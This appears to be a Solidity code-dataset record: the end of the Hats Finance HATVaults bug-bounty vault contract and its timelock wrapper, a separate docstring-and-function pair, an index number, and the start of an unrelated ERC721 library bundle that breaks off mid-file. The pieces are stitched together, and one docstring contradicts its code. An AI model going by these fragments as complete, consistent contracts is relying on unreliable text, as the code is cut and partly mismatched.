uint256 hackerHatReward; } struct PendingRewardsLevels { uint256 timestamp; uint256[] rewardsLevels; } struct GeneralParameters { uint256 hatVestingDuration; uint256 hatVestingPeriods; uint256 withdrawPeriod; uint256 safetyPeriod; //withdraw disable period in seconds uint256 setRewardsLevelsDelay; uint256 withdrawRequestEnablePeriod; uint256 withdrawRequestPendingPeriod; uint256 claimFee; //claim fee in ETH } //pid -> committee address mapping(uint256=>address) public committees; mapping(address => uint256) public swapAndBurns; //hackerAddress ->(token->amount) mapping(address => mapping(address => uint256)) public hackersHatRewards; //token -> amount mapping(address => uint256) public governanceHatRewards; //pid -> PendingApproval mapping(uint256 => PendingApproval) public pendingApprovals; //poolId -> (address -> requestTime) mapping(uint256 => mapping(address => uint256)) public withdrawRequests; //poolId -> PendingRewardsLevels mapping(uint256 => PendingRewardsLevels) public pendingRewardsLevels; mapping(uint256 => bool) public poolDepositPause; GeneralParameters public generalParameters; uint256 internal constant REWARDS_LEVEL_DENOMINATOR = 10000; ITokenLockFactory public immutable tokenLockFactory; ISwapRouter public immutable uniSwapRouter; uint256 public constant MINIMUM_DEPOSIT = 1e6; modifier onlyCommittee(uint256 _pid) { require(committees[_pid] == msg.sender, "only committee"); _; } modifier noPendingApproval(uint256 _pid) { require(pendingApprovals[_pid].beneficiary == address(0), "pending approval exist"); _; } modifier noSafetyPeriod() { //disable withdraw for safetyPeriod (e.g 1 hour) each withdrawPeriod(e.g 11 hours) // solhint-disable-next-line not-rely-on-time require(block.timestamp % (generalParameters.withdrawPeriod + generalParameters.safetyPeriod) < generalParameters.withdrawPeriod, "safety period"); _; } event SetCommittee(uint256 indexed _pid, address indexed _committee); event AddPool(uint256 indexed _pid, uint256 indexed _allocPoint, address indexed _lpToken, address _committee, string _descriptionHash, uint256[] _rewardsLevels, RewardsSplit _rewardsSplit, uint256 _rewardVestingDuration, uint256 _rewardVestingPeriods); event SetPool(uint256 indexed _pid, uint256 indexed _allocPoint, bool indexed _registered, string _descriptionHash); event Claim(address indexed _claimer, string _descriptionHash); event SetRewardsSplit(uint256 indexed _pid, RewardsSplit _rewardsSplit); event SetRewardsLevels(uint256 indexed _pid, uint256[] _rewardsLevels); event PendingRewardsLevelsLog(uint256 indexed _pid, uint256[] _rewardsLevels, uint256 _timeStamp); event SwapAndSend(uint256 indexed _pid, address indexed _beneficiary, uint256 indexed _amountSwaped, uint256 _amountReceived, address _tokenLock); event SwapAndBurn(uint256 indexed _pid, uint256 indexed _amountSwaped, uint256 indexed _amountBurned); event SetVestingParams(uint256 indexed _pid, uint256 indexed _duration, uint256 indexed _periods); event SetHatVestingParams(uint256 indexed _duration, uint256 indexed _periods); event ClaimApprove(address indexed _approver, uint256 indexed _pid, address indexed _beneficiary, uint256 _severity, address _tokenLock, ClaimReward _claimReward); event PendingApprovalLog(uint256 indexed _pid, address indexed _beneficiary, uint256 indexed _severity, address _approver); event WithdrawRequest(uint256 indexed _pid, address indexed _beneficiary, uint256 indexed _withdrawEnableTime); event SetWithdrawSafetyPeriod(uint256 indexed _withdrawPeriod, uint256 indexed _safetyPeriod); event RewardDepositors(uint256 indexed _pid, uint256 indexed _amount); /** * @dev constructor - * @param _rewardsToken the reward token address (HAT) * @param _rewardPerBlock the reward amount per block the contract will reward pools * @param _startBlock start block of of which the contract will start rewarding from. * @param _multiplierPeriod a fix period value. each period will have its own multiplier value. * which set the reward for each period. e.g a value of 100000 means that each such period is 100000 blocks. * @param _hatGovernance the governance address. * Some of the contracts functions are limited only to governance : * addPool,setPool,dismissPendingApprovalClaim,approveClaim, * setHatVestingParams,setVestingParams,setRewardsSplit * @param _uniSwapRouter uni swap v3 router to be used to swap tokens for HAT token. * @param _tokenLockFactory address of the token lock factory to be used * to create a vesting contract for the approved claim reporter. */ constructor( address _rewardsToken, uint256 _rewardPerBlock, uint256 _startBlock, uint256 _multiplierPeriod, address _hatGovernance, ISwapRouter _uniSwapRouter, ITokenLockFactory _tokenLockFactory // solhint-disable-next-line func-visibility ) HATMaster(HATToken(_rewardsToken), _rewardPerBlock, _startBlock, _multiplierPeriod) { Governable.initialize(_hatGovernance); uniSwapRouter = _uniSwapRouter; tokenLockFactory = _tokenLockFactory; generalParameters = GeneralParameters({ hatVestingDuration: 90 days, hatVestingPeriods:90, withdrawPeriod: 11 hours, safetyPeriod: 1 hours, setRewardsLevelsDelay: 2 days, withdrawRequestEnablePeriod: 7 days, withdrawRequestPendingPeriod: 7 days, claimFee: 0 }); } /** * @dev pendingApprovalClaim - called by a committee to set a pending approval claim. * The pending approval need to be approved or dismissed by the hats governance. * This function should be called only on a safety period, where withdrawn is disable. * Upon a call to this function by the committee the pool withdrawn will be disable * till governance will approve or dismiss this pending approval. * @param _pid pool id * @param _beneficiary the approval claim beneficiary * @param _severity approval claim severity */ function pendingApprovalClaim(uint256 _pid, address _beneficiary, uint256 _severity) external onlyCommittee(_pid) noPendingApproval(_pid) { require(_beneficiary != address(0), "beneficiary is zero"); // solhint-disable-next-line not-rely-on-time require(block.timestamp % (generalParameters.withdrawPeriod + generalParameters.safetyPeriod) >= generalParameters.withdrawPeriod, "none safety period"); require(_severity < poolsRewards[_pid].rewardsLevels.length, "_severity is not in the range"); pendingApprovals[_pid] = PendingApproval({ beneficiary: _beneficiary, severity: _severity, approver: msg.sender }); emit PendingApprovalLog(_pid, _beneficiary, _severity, msg.sender); } /** * @dev setWithdrawRequestParams - called by hats governance to set withdraw request params * @param _withdrawRequestPendingPeriod - the time period where the withdraw request is pending. * @param _withdrawRequestEnablePeriod - the time period where the withdraw is enable for a withdraw request. */ function setWithdrawRequestParams(uint256 _withdrawRequestPendingPeriod, uint256 _withdrawRequestEnablePeriod) external onlyGovernance { generalParameters.withdrawRequestPendingPeriod = _withdrawRequestPendingPeriod; generalParameters.withdrawRequestEnablePeriod = _withdrawRequestEnablePeriod; } /** * @dev dismissPendingApprovalClaim - called by hats governance to dismiss a pending approval claim. * @param _pid pool id */ function dismissPendingApprovalClaim(uint256 _pid) external onlyGovernance { delete pendingApprovals[_pid]; } /** * @dev approveClaim - called by hats governance to approve a pending approval claim. * @param _pid pool id */ function approveClaim(uint256 _pid) external onlyGovernance nonReentrant { require(pendingApprovals[_pid].beneficiary != address(0), "no pending approval"); PoolReward storage poolReward = poolsRewards[_pid]; PendingApproval memory pendingApproval = pendingApprovals[_pid]; delete pendingApprovals[_pid]; IERC20 lpToken = poolInfo[_pid].lpToken; ClaimReward memory claimRewards = calcClaimRewards(_pid, pendingApproval.severity); poolInfo[_pid].balance = poolInfo[_pid].balance.sub( claimRewards.hackerReward .add(claimRewards.hackerVestedReward) .add(claimRewards.committeeReward) .add(claimRewards.swapAndBurn) .add(claimRewards.hackerHatReward) .add(claimRewards.governanceHatReward)); address tokenLock; if (claimRewards.hackerVestedReward > 0) { //hacker get its reward to a vesting contract tokenLock = tokenLockFactory.createTokenLock( address(lpToken), 0x000000000000000000000000000000000000dEaD, //this address as owner, so it can do nothing. pendingApproval.beneficiary, claimRewards.hackerVestedReward, // solhint-disable-next-line not-rely-on-time block.timestamp, //start // solhint-disable-next-line not-rely-on-time block.timestamp + poolReward.vestingDuration, //end poolReward.vestingPeriods, 0, //no release start 0, //no cliff ITokenLock.Revocability.Disabled, false ); lpToken.safeTransfer(tokenLock, claimRewards.hackerVestedReward); } lpToken.safeTransfer(pendingApproval.beneficiary, claimRewards.hackerReward); lpToken.safeTransfer(pendingApproval.approver, claimRewards.committeeReward); //storing the amount of token which can be swap and burned so it could be swapAndBurn in a seperate tx. swapAndBurns[address(lpToken)] = swapAndBurns[address(lpToken)].add(claimRewards.swapAndBurn); governanceHatRewards[address(lpToken)] = governanceHatRewards[address(lpToken)].add(claimRewards.governanceHatReward); hackersHatRewards[pendingApproval.beneficiary][address(lpToken)] = hackersHatRewards[pendingApproval.beneficiary][address(lpToken)].add(claimRewards.hackerHatReward); emit ClaimApprove(msg.sender, _pid, pendingApproval.beneficiary, pendingApproval.severity, tokenLock, claimRewards); assert(poolInfo[_pid].balance > 0); } /** * @dev rewardDepositors - add funds to pool to reward depositors. * The funds will be given to depositors pro rata upon withdraw * @param _pid pool id * @param _amount amount to add */ function rewardDepositors(uint256 _pid, uint256 _amount) external { require(poolInfo[_pid].balance.add(_amount).div(MINIMUM_DEPOSIT) < poolInfo[_pid].totalUsersAmount, "amount to reward is too big"); poolInfo[_pid].lpToken.safeTransferFrom(msg.sender, address(this), _amount); poolInfo[_pid].balance = poolInfo[_pid].balance.add(_amount); emit RewardDepositors(_pid, _amount); } /** * @dev setClaimFee - called by hats governance to set claim fee * @param _fee claim fee in ETH */ function setClaimFee(uint256 _fee) external onlyGovernance { generalParameters.claimFee = _fee; } /** * @dev setWithdrawSafetyPeriod - called by hats governance to set Withdraw Period * @param _withdrawPeriod withdraw enable period * @param _safetyPeriod withdraw disable period */ function setWithdrawSafetyPeriod(uint256 _withdrawPeriod, uint256 _safetyPeriod) external onlyGovernance { generalParameters.withdrawPeriod = _withdrawPeriod; generalParameters.safetyPeriod = _safetyPeriod; emit SetWithdrawSafetyPeriod(generalParameters.withdrawPeriod, generalParameters.safetyPeriod); } //_descriptionHash - a hash of an ipfs encrypted file which describe the claim. // this can be use later on by the claimer to prove her claim function claim(string memory _descriptionHash) external payable { if (generalParameters.claimFee > 0) { require(msg.value >= generalParameters.claimFee, "not enough fee payed"); // solhint-disable-next-line indent payable(governance()).transfer(msg.value); } emit Claim(msg.sender, _descriptionHash); } /** * @dev setVestingParams - set pool vesting params for rewarding claim reporter with the pool token * @param _pid pool id * @param _duration duration of the vesting period * @param _periods the vesting periods */ function setVestingParams(uint256 _pid, uint256 _duration, uint256 _periods) external onlyGovernance { require(_duration < 120 days, "vesting duration is too long"); require(_periods > 0, "vesting periods cannot be zero"); require(_duration >= _periods, "vesting duration smaller than periods"); poolsRewards[_pid].vestingDuration = _duration; poolsRewards[_pid].vestingPeriods = _periods; emit SetVestingParams(_pid, _duration, _periods); } /** * @dev setHatVestingParams - set HAT vesting params for rewarding claim reporter with HAT token * the function can be called only by governance. * @param _duration duration of the vesting period * @param _periods the vesting periods */ function setHatVestingParams(uint256 _duration, uint256 _periods) external onlyGovernance { require(_duration < 180 days, "vesting duration is too long"); require(_periods > 0, "vesting periods cannot be zero"); require(_duration >= _periods, "vesting duration smaller than periods"); generalParameters.hatVestingDuration = _duration; generalParameters.hatVestingPeriods = _periods; emit SetHatVestingParams(_duration, _periods); } /** * @dev setRewardsSplit - set the pool token rewards split upon an approval * the function can be called only by governance. * the sum of the rewards split should be less than 10000 (less than 100%) * @param _pid pool id * @param _rewardsSplit split * and sent to the hacker(claim reported) */ function setRewardsSplit(uint256 _pid, RewardsSplit memory _rewardsSplit) external onlyGovernance noPendingApproval(_pid) noSafetyPeriod { validateSplit(_rewardsSplit); poolsRewards[_pid].rewardsSplit = _rewardsSplit; emit SetRewardsSplit(_pid, _rewardsSplit); } /** * @dev setRewardsLevelsDelay - set the timelock delay for setting rewars level * @param _delay time delay */ function setRewardsLevelsDelay(uint256 _delay) external onlyGovernance { require(_delay >= 2 days, "delay is too short"); generalParameters.setRewardsLevelsDelay = _delay; } /** * @dev setPendingRewardsLevels - set pending request to set pool token rewards level. * the reward level represent the percentage of the pool's token which will be split as a reward. * the function can be called only by the pool committee. * cannot be called if there already pending approval. * each level should be less than 10000 * @param _pid pool id * @param _rewardsLevels the reward levels array */ function setPendingRewardsLevels(uint256 _pid, uint256[] memory _rewardsLevels) external onlyCommittee(_pid) noPendingApproval(_pid) { pendingRewardsLevels[_pid].rewardsLevels = checkRewardsLevels(_rewardsLevels); // solhint-disable-next-line not-rely-on-time pendingRewardsLevels[_pid].timestamp = block.timestamp; emit PendingRewardsLevelsLog(_pid, _rewardsLevels, pendingRewardsLevels[_pid].timestamp); } /** * @dev setRewardsLevels - set the pool token rewards level of already pending set rewards level. * see pendingRewardsLevels * the reward level represent the percentage of the pool's token which will be split as a reward. * the function can be called only by the pool committee. * cannot be called if there already pending approval. * each level should be less than 10000 * @param _pid pool id */ function setRewardsLevels(uint256 _pid) external onlyCommittee(_pid) noPendingApproval(_pid) { require(pendingRewardsLevels[_pid].timestamp > 0, "no pending set rewards levels"); // solhint-disable-next-line not-rely-on-time require(block.timestamp - pendingRewardsLevels[_pid].timestamp > generalParameters.setRewardsLevelsDelay, "cannot confirm setRewardsLevels at this time"); poolsRewards[_pid].rewardsLevels = pendingRewardsLevels[_pid].rewardsLevels; delete pendingRewardsLevels[_pid]; emit SetRewardsLevels(_pid, poolsRewards[_pid].rewardsLevels); } /** * @dev committeeCheckIn - committee check in. * deposit is enable only after committee check in * @param _pid pool id */ function committeeCheckIn(uint256 _pid) external onlyCommittee(_pid) { poolsRewards[_pid].committeeCheckIn = true; } /** * @dev setCommittee - set new committee address. * @param _pid pool id * @param _committee new committee address */ function setCommittee(uint256 _pid, address _committee) external { require(_committee != address(0), "committee is zero"); //governance can update committee only if committee was not checked in yet. if (msg.sender == governance() && committees[_pid] != msg.sender) { require(!poolsRewards[_pid].committeeCheckIn, "Committee already checked in"); } else { require(committees[_pid] == msg.sender, "Only committee"); } committees[_pid] = _committee; emit SetCommittee(_pid, _committee); } /** * @dev addPool - only Governance * @param _allocPoint the pool allocation point * @param _lpToken pool token * @param _committee pool committee address * @param _rewardsLevels pool reward levels(sevirities) each level is a number between 0 and 10000. * @param _rewardsSplit pool reward split. each entry is a number between 0 and 10000. total splits should be equal to 10000 * @param _descriptionHash the hash of the pool description. * @param _rewardVestingParams vesting params * _rewardVestingParams[0] - vesting duration * _rewardVestingParams[1] - vesting periods */ function addPool(uint256 _allocPoint, address _lpToken, address _committee, uint256[] memory _rewardsLevels, RewardsSplit memory _rewardsSplit, string memory _descriptionHash, uint256[2] memory _rewardVestingParams) external onlyGovernance { require(_rewardVestingParams[0] < 120 days, "vesting duration is too long"); require(_rewardVestingParams[1] > 0, "vesting periods cannot be zero"); require(_rewardVestingParams[0] >= _rewardVestingParams[1], "vesting duration smaller than periods"); require(_committee != address(0), "committee is zero"); add(_allocPoint, IERC20(_lpToken)); uint256 poolId = poolInfo.length-1; committees[poolId] = _committee; uint256[] memory rewardsLevels = checkRewardsLevels(_rewardsLevels); RewardsSplit memory rewardsSplit = (_rewardsSplit.hackerVestedReward == 0 && _rewardsSplit.hackerReward == 0) ? getDefaultRewardsSplit() : _rewardsSplit; validateSplit(rewardsSplit); poolsRewards[poolId] = PoolReward({ rewardsLevels: rewardsLevels, rewardsSplit: rewardsSplit, committeeCheckIn: false, vestingDuration: _rewardVestingParams[0], vestingPeriods: _rewardVestingParams[1] }); emit AddPool(poolId, _allocPoint, address(_lpToken), _committee, _descriptionHash, rewardsLevels, rewardsSplit, _rewardVestingParams[0], _rewardVestingParams[1]); } /** * @dev setPool * @param _pid the pool id * @param _allocPoint the pool allocation point * @param _registered does this pool is registered (default true). * @param _depositPause pause pool deposit (default false). * This parameter can be used by the UI to include or exclude the pool * @param _descriptionHash the hash of the pool description. */ function setPool(uint256 _pid, uint256 _allocPoint, bool _registered, bool _depositPause, string memory _descriptionHash) external onlyGovernance { require(poolInfo[_pid].lpToken != IERC20(address(0)), "pool does not exist"); set(_pid, _allocPoint); poolDepositPause[_pid] = _depositPause; emit SetPool(_pid, _allocPoint, _registered, _descriptionHash); } /** * @dev swapBurnSend swap lptoken to HAT. * send to beneficiary and governance its hats rewards . * burn the rest of HAT. * only governance are authorized to call this function. * @param _pid the pool id * @param _beneficiary beneficiary * @param _amountOutMinimum minimum output of HATs at swap * @param _fees the fees for the multi path swap **/ function swapBurnSend(uint256 _pid, address _beneficiary, uint256 _amountOutMinimum, uint24[2] memory _fees) external onlyGovernance { IERC20 token = poolInfo[_pid].lpToken; uint256 amountToSwapAndBurn = swapAndBurns[address(token)]; uint256 amountForHackersHatRewards = hackersHatRewards[_beneficiary][address(token)]; uint256 amount = amountToSwapAndBurn.add(amountForHackersHatRewards).add(governanceHatRewards[address(token)]); require(amount > 0, "amount is zero"); swapAndBurns[address(token)] = 0; governanceHatRewards[address(token)] = 0; hackersHatRewards[_beneficiary][address(token)] = 0; uint256 hatsReceived = swapTokenForHAT(amount, token, _fees, _amountOutMinimum); uint256 burntHats = hatsReceived.mul(amountToSwapAndBurn).div(amount); if (burntHats > 0) { HAT.burn(burntHats); } emit SwapAndBurn(_pid, amount, burntHats); address tokenLock; uint256 hackerReward = hatsReceived.mul(amountForHackersHatRewards).div(amount); if (hackerReward > 0) { //hacker get its reward via vesting contract tokenLock = tokenLockFactory.createTokenLock( address(HAT), 0x000000000000000000000000000000000000dEaD, //this address as owner, so it can do nothing. _beneficiary, hackerReward, // solhint-disable-next-line not-rely-on-time block.timestamp, //start // solhint-disable-next-line not-rely-on-time block.timestamp + generalParameters.hatVestingDuration, //end generalParameters.hatVestingPeriods, 0, //no release start 0, //no cliff ITokenLock.Revocability.Disabled, true ); HAT.transfer(tokenLock, hackerReward); } emit SwapAndSend(_pid, _beneficiary, amount, hackerReward, tokenLock); HAT.transfer(governance(), hatsReceived.sub(hackerReward).sub(burntHats)); } /** * @dev withdrawRequest submit a withdraw request * @param _pid the pool id **/ function withdrawRequest(uint256 _pid) external { // solhint-disable-next-line not-rely-on-time require(block.timestamp > withdrawRequests[_pid][msg.sender] + generalParameters.withdrawRequestEnablePeriod, "pending withdraw request exist"); // solhint-disable-next-line not-rely-on-time withdrawRequests[_pid][msg.sender] = block.timestamp + generalParameters.withdrawRequestPendingPeriod; emit WithdrawRequest(_pid, msg.sender, withdrawRequests[_pid][msg.sender]); } /** * @dev deposit deposit to pool * @param _pid the pool id * @param _amount amount of pool's token to deposit **/ function deposit(uint256 _pid, uint256 _amount) external { require(!poolDepositPause[_pid], "deposit paused"); require(_amount >= MINIMUM_DEPOSIT, "amount less than 1e6"); //clear withdraw request withdrawRequests[_pid][msg.sender] = 0; _deposit(_pid, _amount); } /** * @dev withdraw - withdraw user's pool share. * user need first to submit a withdraw request. * @param _pid the pool id * @param _shares amount of shares user wants to withdraw **/ function withdraw(uint256 _pid, uint256 _shares) external { checkWithdrawRequest(_pid); _withdraw(_pid, _shares); } /** * @dev emergencyWithdraw withdraw all user's pool share without claim for reward. * user need first to submit a withdraw request. * @param _pid the pool id **/ function emergencyWithdraw(uint256 _pid) external { checkWithdrawRequest(_pid); _emergencyWithdraw(_pid); } function getPoolRewardsLevels(uint256 _pid) external view returns(uint256[] memory) { return poolsRewards[_pid].rewardsLevels; } function getPoolRewards(uint256 _pid) external view returns(PoolReward memory) { return poolsRewards[_pid]; } // GET INFO for UI /** * @dev getRewardPerBlock return the current pool reward per block * @param _pid1 the pool id. * if _pid1 = 0 , it return the current block reward for whole pools. * otherwise it return the current block reward for _pid1-1. * @return rewardPerBlock **/ function getRewardPerBlock(uint256 _pid1) external view returns (uint256) { if (_pid1 == 0) { return getRewardForBlocksRange(block.number-1, block.number, 1, 1); } else { return getRewardForBlocksRange(block.number-1, block.number, poolInfo[_pid1 - 1].allocPoint, globalPoolUpdates[globalPoolUpdates.length-1].totalAllocPoint); } } function pendingReward(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 rewardPerShare = pool.rewardPerShare; if (block.number > pool.lastRewardBlock && pool.totalUsersAmount > 0) { uint256 reward = calcPoolReward(_pid, pool.lastRewardBlock, globalPoolUpdates.length-1); rewardPerShare = rewardPerShare.add(reward.mul(1e12).div(pool.totalUsersAmount)); } return user.amount.mul(rewardPerShare).div(1e12).sub(user.rewardDebt); } function getGlobalPoolUpdatesLength() external view returns (uint256) { return globalPoolUpdates.length; } function getStakedAmount(uint _pid, address _user) external view returns (uint256) { UserInfo storage user = userInfo[_pid][_user]; return user.amount; } function poolLength() external view returns (uint256) { return poolInfo.length; } function calcClaimRewards(uint256 _pid, uint256 _severity) public view returns(ClaimReward memory claimRewards) { uint256 totalSupply = poolInfo[_pid].balance; require(totalSupply > 0, "totalSupply is zero"); require(_severity < poolsRewards[_pid].rewardsLevels.length, "_severity is not in the range"); //hackingRewardAmount uint256 claimRewardAmount = totalSupply.mul(poolsRewards[_pid].rewardsLevels[_severity]); claimRewards.hackerVestedReward = claimRewardAmount.mul(poolsRewards[_pid].rewardsSplit.hackerVestedReward) .div(REWARDS_LEVEL_DENOMINATOR*REWARDS_LEVEL_DENOMINATOR); claimRewards.hackerReward = claimRewardAmount.mul(poolsRewards[_pid].rewardsSplit.hackerReward) .div(REWARDS_LEVEL_DENOMINATOR*REWARDS_LEVEL_DENOMINATOR); claimRewards.committeeReward = claimRewardAmount.mul(poolsRewards[_pid].rewardsSplit.committeeReward) .div(REWARDS_LEVEL_DENOMINATOR*REWARDS_LEVEL_DENOMINATOR); claimRewards.swapAndBurn = claimRewardAmount.mul(poolsRewards[_pid].rewardsSplit.swapAndBurn) .div(REWARDS_LEVEL_DENOMINATOR*REWARDS_LEVEL_DENOMINATOR); claimRewards.governanceHatReward = claimRewardAmount.mul(poolsRewards[_pid].rewardsSplit.governanceHatReward) .div(REWARDS_LEVEL_DENOMINATOR*REWARDS_LEVEL_DENOMINATOR); claimRewards.hackerHatReward = claimRewardAmount.mul(poolsRewards[_pid].rewardsSplit.hackerHatReward) .div(REWARDS_LEVEL_DENOMINATOR*REWARDS_LEVEL_DENOMINATOR); } function getDefaultRewardsSplit() public pure returns (RewardsSplit memory) { return RewardsSplit({ hackerVestedReward: 6000, hackerReward: 2000, committeeReward: 500, swapAndBurn: 0, governanceHatReward: 1000, hackerHatReward: 500 }); } function validateSplit(RewardsSplit memory _rewardsSplit) internal pure { require(_rewardsSplit.hackerVestedReward .add(_rewardsSplit.hackerReward) .add(_rewardsSplit.committeeReward) .add(_rewardsSplit.swapAndBurn) .add(_rewardsSplit.governanceHatReward) .add(_rewardsSplit.hackerHatReward) == REWARDS_LEVEL_DENOMINATOR, "total split % should be 10000"); } function checkWithdrawRequest(uint256 _pid) internal noPendingApproval(_pid) noSafetyPeriod { // solhint-disable-next-line not-rely-on-time require(block.timestamp > withdrawRequests[_pid][msg.sender] && // solhint-disable-next-line not-rely-on-time block.timestamp < withdrawRequests[_pid][msg.sender] + generalParameters.withdrawRequestEnablePeriod, "withdraw request not valid"); withdrawRequests[_pid][msg.sender] = 0; } function swapTokenForHAT(uint256 _amount, IERC20 _token, uint24[2] memory _fees, uint256 _amountOutMinimum) internal returns (uint256 hatsReceived) { if (address(_token) == address(HAT)) { return _amount; } require(_token.approve(address(uniSwapRouter), _amount), "token approve failed"); uint256 hatBalanceBefore = HAT.balanceOf(address(this)); address weth = uniSwapRouter.WETH9(); bytes memory path; if (address(_token) == weth) { path = abi.encodePacked(address(_token), _fees[0], address(HAT)); } else { path = abi.encodePacked(address(_token), _fees[0], weth, _fees[1], address(HAT)); } hatsReceived = uniSwapRouter.exactInput(ISwapRouter.ExactInputParams({ path: path, recipient: address(this), // solhint-disable-next-line not-rely-on-time deadline: block.timestamp, amountIn: _amount, amountOutMinimum: _amountOutMinimum })); require(HAT.balanceOf(address(this)) - hatBalanceBefore >= _amountOutMinimum, "wrong amount received"); } /** * @dev checkRewardsLevels - check rewards levels. * each level should be less than 10000 * if _rewardsLevels length is 0 a default reward levels will be return * default reward levels = [2000, 4000, 6000, 8000] * @param _rewardsLevels the reward levels array * @return rewardsLevels */ function checkRewardsLevels(uint256[] memory _rewardsLevels) private pure returns (uint256[] memory rewardsLevels) { uint256 i; if (_rewardsLevels.length == 0) { rewardsLevels = new uint256[](4); for (i; i < 4; i++) { //defaultRewardLevels = [2000, 4000, 6000, 8000]; rewardsLevels[i] = 2000*(i+1); } } else { for (i; i < _rewardsLevels.length; i++) { require(_rewardsLevels[i] < REWARDS_LEVEL_DENOMINATOR, "reward level can not be more than 10000"); } rewardsLevels = _rewardsLevels; } } } // File contracts/HATTimelockController.sol // Disclaimer https://github.com/hats-finance/hats-contracts/blob/main/DISCLAIMER.md pragma solidity 0.8.6; contract HATTimelockController is TimelockController { HATVaults public hatVaults; constructor( HATVaults _hatVaults, uint256 _minDelay, address[] memory _proposers, address[] memory _executors // solhint-disable-next-line func-visibility ) TimelockController(_minDelay, _proposers, _executors) { require(address(_hatVaults) != address(0), "HATTimelockController: HATVaults address must not be 0"); hatVaults = _hatVaults; } // Whitelisted functions function approveClaim(uint256 _pid) external onlyRole(PROPOSER_ROLE) { hatVaults.approveClaim(_pid); } function addPool(uint256 _allocPoint, address _lpToken, address _committee, uint256[] memory _rewardsLevels, HATVaults.RewardsSplit memory _rewardsSplit, string memory _descriptionHash, uint256[2] memory _rewardVestingParams) external onlyRole(PROPOSER_ROLE) { hatVaults.addPool( _allocPoint, _lpToken, _committee, _rewardsLevels, _rewardsSplit, _descriptionHash, _rewardVestingParams ); } function setPool(uint256 _pid, uint256 _allocPoint, bool _registered, bool _depositPause, string memory _descriptionHash) external onlyRole(PROPOSER_ROLE) { hatVaults.setPool( _pid, _allocPoint, _registered, _depositPause, _descriptionHash ); } function swapBurnSend(uint256 _pid, address _beneficiary, uint256 _amountOutMinimum, uint24[2] memory _fees) external onlyRole(PROPOSER_ROLE) { hatVaults.swapBurnSend( _pid, _beneficiary, _amountOutMinimum, _fees ); } }
setRewardsSplit - set the pool token rewards split upon an approval the function can be called only by governance. the sum of the rewards split should be less than 10000 (less than 100%) _pid pool id _rewardsSplit split and sent to the hacker(claim reported)/
function setRewardsSplit(uint256 _pid, RewardsSplit memory _rewardsSplit) external onlyGovernance noPendingApproval(_pid) noSafetyPeriod { validateSplit(_rewardsSplit); poolsRewards[_pid].rewardsSplit = _rewardsSplit; emit SetRewardsSplit(_pid, _rewardsSplit); }
2,322,373
// SPDX-License-Identifier: MIT // Amended by Ali // File: @openzeppelin/contracts/utils/introspection/IERC165.sol pragma solidity ^0.8.0; interface IERC165 { function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity ^0.8.0; interface IERC721 is IERC165 { event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); function balanceOf(address owner) external view returns (uint256 balance); function ownerOf(uint256 tokenId) external view returns (address owner); function safeTransferFrom( address from, address to, uint256 tokenId ) external; function transferFrom( address from, address to, uint256 tokenId ) external; function approve(address to, uint256 tokenId) external; function getApproved(uint256 tokenId) external view returns (address operator); function setApprovalForAll(address operator, bool _approved) external; function isApprovedForAll(address owner, address operator) external view returns (bool); function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol pragma solidity ^0.8.0; interface IERC721Enumerable is IERC721 { function totalSupply() external view returns (uint256); function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol pragma solidity ^0.8.0; abstract contract ERC165 is IERC165 { function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/utils/Strings.sol pragma solidity ^0.8.0; library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as 